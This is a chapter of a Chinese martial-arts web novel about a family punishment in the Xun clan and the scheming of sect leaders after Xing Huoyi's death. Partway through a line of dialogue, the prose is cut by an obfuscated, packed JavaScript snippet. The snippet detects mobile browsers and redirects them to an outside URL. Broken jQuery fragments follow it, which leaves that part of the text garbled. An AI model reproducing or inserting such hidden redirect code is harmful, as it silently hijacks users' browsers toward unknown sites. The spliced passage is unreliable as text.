荀家祠堂,先祖牌位森然在列,青天白日,烛烟袅袅升起。
一棍接着一棍打在荀兰与的身上,棍棍狠戾,沉闷的敲击声回荡在四周,像是要把他的骨头打断。
荀兰与的身子摇摇晃晃,就快要支撑不住。他一只手撑在地上,豆大的汗珠从脸上一路滑下来,顺着脖颈钻进衣服里,胸前的衣裳已经被汗水浸湿。
白韶站在祠堂门外,两手抱胸,幸灾乐祸地看着荀兰与挨打。
她笑得眼睛弯弯,却用着十分担心的语气说:“兰与哥哥,还有三棍呢!你可得撑住啊!”
“砰”地一声,又是一记重棍。
荀兰与往前一栽,差点摔在地上,喉间发出一声痛苦的闷哼。
白韶蹙起眉头,看着施刑的人。她对芳展漫不经心地说:“打的真够狠的,可别给荀兰与打死了。”
荀兰与喘着粗气,等他稍稍缓过劲来,那施刑的人才打了下一棍。
他伏在地上,似乎是疼到无法呼吸的地步,荀兰与喘气的动作有些大,胸腔随之剧烈起伏。
终于,那最后一棍砸了下来,荀兰与的惩罚结束。
他如同被蚁虫蛀空的房屋,轰然倒地不起。
白韶抬手,等在不远处的大夫立刻提着药箱走了进去,给荀兰与处理伤口。
等伤口处理妥当,白韶才找来了几个下人把荀兰与给抬回房中。
“小姐。”芳展凑近,压低声音贴在白韶耳边说:“七绝殿的三位,还有万婵宗的苗宗主都到了。”
白韶点了下头。
地下,一道颀长的影子越来越近。她回过身,入目是荀郎择那双冷淡的眼眸。
白韶问:“朗择哥哥怎么会有闲工夫来看荀兰与?”
荀朗择连个眼神都懒得给她,“跟你有什么关系。”
白韶捂着嘴偷笑,“莫不是身份暴露,被扶绫给赶出来了?”
她歪着头,斜眼上下打量着荀朗择,语带嘲弄:“你也是可怜,那边不要你,你爹商量事也不叫上你这个少主。”
荀朗择嗤笑一声,锐利的目光从白韶身上略过,“你这激将法实在不高明,真以为我不知道你在盘算什么?”
荀朗择向前迈一步,用肩膀重重撞下白韶,弄得她踉跄着后退两步。
荀朗择沉声问:“人怎么样?”
白韶怒而甩袖,转身走过来。她冷哼一声,“你看不出来他晕过去了吗?”
屋内,荀兰与趴在床上,身上盖了一层薄被,丫鬟蹲在荀兰与的床前,捏着帕子给他擦汗。
荀朗择静静地看了一会,转身离去。
芳展回头看一眼他的背影,“这荀少主还挺关心兰与公子的,特意跑过来看一眼。”
白韶冷哼一声,似是不大赞同。
“关心?”
芳展露出茫然的眼神。
白韶不屑地说:“怜他困,妒他荣,唯其居我之下才最得意。”
白韶扭头往外走,唇角扬起凉薄的笑容,“荀兰与是怕他死了。”
-
“死了?”苗方思煞有其事地问,“许多年没听到过星火移的消息了,谁成想这最后一回是他的死讯呢。”
王铸翘了个二郎腿,手上端着茶杯,捏着杯盖慢条斯理地撇开茶水上的浮叶。“若王某没记错,苗宗主以前和星火移交过手吧?”
苗方思“嗯”了一声,坦然道:“我那时尚且年幼,败在他手里。”
她将身子靠在椅子上,头微微仰起,眼中闪过一丝快意。
“我那一败,星火移可没少挖苦讽刺我,连带着万婵宗的面子都不给,站在我面前叽叽歪歪说了不少难听的。”
苗方思摇摇头,颇为遗憾道:“早知道就该和段宗繁打好关系,叫他带上我,我可也有仇要报呢。”
闻言,张元成噙着一抹浅笑,讥诮道:“苗宗主这话说的,段家的血海深仇可不是你这小打小闹能相提并论的。”
荀立阳就坐在那看着三人你一言我一句,看似闲聊,实则是暗指段家与星火移旧怨之深。
段家和星火移的仇不是小打小闹,那星火移惹下的其他祸端呢?
这些加在一起,足够把月隐斋围个水泄不通,一人一口唾沫星子都能汇成洪流,把月隐斋给冲走。
刘胜用指尖敲着桌面,细数着星火移翻下的一桩桩祸端。“段家、长术盟、留芳殿、罗音坊、不变府……”他不禁感叹一句:“还真是数不过来啊。”
苗方思也跟着感叹道:“星火移还真是有能耐,都是两条腿,他的倒是用得值了,短短几十年人生,也是踏遍山河万里,惹遍各门各派了。”
张元成接过话茬,玩味道:“他也真是厉害。这些门派原本都是江湖中数一数二的,叫这星火移糟蹋过后,便一蹶不振,又或是退隐江湖。”
王铸当即捧腹大笑,脸上的肉一颤一颤的,“糟蹋?元成啊,你这话说的,亏得你还念过几年书呢。”
荀立阳终于听不下去,轻咳一声,打断几人。
“几位,江湖风雨未歇,还是莫要被闲人扰了心绪。”
此言一出,众人不约而同地挑起了眉梢,毫不掩饰眼中的讥讽之意。
他口中的这位“闲人”可是许多场风雨的直接制造者,这风雨持续十几年不停,可不就是因着月隐斋的暗中庇护。
荀立阳刻意将自己摘出去,难不成还想要他们来分担旁人的怒火?
真是打得一手好算盘。
人心不足蛇吞象。
在场几人中,唯有苗方思和荀立阳交情不多,甚至可以算得上陌生。先前万婵宗内斗,荀立阳曾写了信来,表示支持之意,但那可不代表苗方思就得承他的情。
她苗方思自认不是什么光明磊落的,可比起荀立阳来说,那可好太多了。
于是,苗方思毫不客气地回怼道:“荀斋主,这话错了吧?我可听说贵府二公子大老远跑去搭救星火移呢。”
她轻轻“啧”一声,拖长了语调:“我来这一趟就是想来问问,您能否讲讲这二公子是如何从盛怒的段宗繁手中逃出生天的?”
苗方思压下嘴角,做担忧之色,“段宗繁这下知道星火移和月隐斋的关系,月隐斋可怎么办?”
她话锋一转,拍下桌子,“荀斋主把咱们喊过来,不会是想叫我们给你出招吧?浑水,我苗方思可不淌。”
荀立阳还未开口,王铸就先行出来打圆场:“苗宗主叽里咕噜说这么多?荀斋主足智多谋,这等小事难不成还解决不了。段家彼时风光,现在就是个落魄户。武林是混出来了,跑出去了,想再回来可难得很。”
段家彼时确实风光,此时想重回武林,那就需要一块垫脚石打出名声。
现在大仇报了,星火移这个傻子当了垫脚石,再来个月隐斋做登云梯,那段家不就一飞冲天了?
踩在第二的头上,才能去争第一。
荀立阳不怒反笑,意味深长地说:“月隐斋安分守己,唯盟主所在马首是瞻。可盟主之位空悬,我心也难定
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035741|185503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊。”
这话的意思再明显不过了。
月隐斋就算再不安分,也是个听话的老二,我倒了,段家顺势上来,他们还能像我这样对着你七绝殿俯首帖耳?
你们七绝殿内乱不平,第一位置不保,盟主花落谁家还未可知。
维持现状对大家都好,不帮我,那咱们就一起不得好死。
刘胜把玩着手中的茶杯,看着杯壁上画的竹林。
木秀于林风必摧之。
多年下来,他早就把荀立阳这个人看透了。此人偏好在大树下乘凉,背靠七绝殿,做殿外军师。
七绝殿成了什么事情,十有八九有他荀立阳在外出谋划策。长此以往,七绝殿的风光总要他分走一两分。
多年积攒,一点残汤也让荀立阳喝得饱饱。而坏的呢?全是七绝殿自己的,他荀立阳是外人,和他有什么关系?
这一点旁人也清楚,可道理就是这么个道理。谁让他们七绝殿的殿主兼武林盟主真听这个“军师”的。
荀立阳玩的就是阳谋,大家心知肚明,却又得顺着他的心思走。
此人着实惹人生厌。
刘胜淡淡问道:“依荀斋主所见,此事当如何?”
荀立阳脸上的笑意更深,说:“皮先生屡屡挑起祸端,造成死伤无数,实乃扰乱武林的罪魁祸首。我等一番追查之下,竟发现其在多年前便已开始暗中布局,一切届时为了有朝一日,能登高台,雄霸武林。。”
“哦?想不到竟是皮先生费尽心思布下此局。”苗方思故作惊讶,问:“那么,月隐斋又为何与星火移扯上关系呢?”
荀立阳早有准备,答:“自然是这星火移受了皮先生驱使,四处作恶。于十日前,执法司张长老将其捉拿归案,一番审问后才得知背后的阴谋诡计。为防止皮先生派门下来营救星火移,特将其转至我月隐斋看押。”
荀立阳种种拍下大腿,故作懊悔,“可我这不争气的儿子连个人都看不住,竟让他跑了出去。”
苗方思用手撑着脑袋,意兴阑珊道:“于是就有了勾栏瓦肆那一出?”
荀立阳说:“正是,苗宗主聪慧。”
苗方思向后仰去,上身靠在椅背上,两手交叠置于腹上。
她不禁腹诽荀立阳巧言令色,三言两语就把月隐斋改换了身份,反倒成了大好人。
张元成慢悠悠地问:“那请苗宗主来是?”
荀立阳回:“苗宗主近期四处走动,众人皆知她与七绝殿来往密切,消息自是比旁人灵通些。”
他说这话时刻意地盯着苗方思看,那“灵通”二字更是有意加重了些,唇齿间威胁之意昭然若揭。
苗方思看着荀立阳那双乌黑的眼睛,精明地可怕,她不禁心中一凛。
这人算计的太多,就连她也一并算上去了。
苗方思并未刻意隐瞒自己和其他门派的来往,但一来一往间究竟达成了什么合作旁人是无法知晓的。
荀立阳这么说,分明就是威胁,他必然是知道了些不该知道的事情。
苗方思调整了下坐姿,“那就是请我过来见证的?这倒是个闲差。”
荀立阳笑笑,颇为满意。“有苗宗主在,此事自然是万无一失。”他转而看向张、王、刘三人,“三位意下如何?”
三人对视一眼,他们现在算是一条绳上的蚂蚱,自己都没空斗。
室内片刻安静,随后便是荀立阳的笑声。
“去,备下饭菜,今日几位大人要留下用饭。”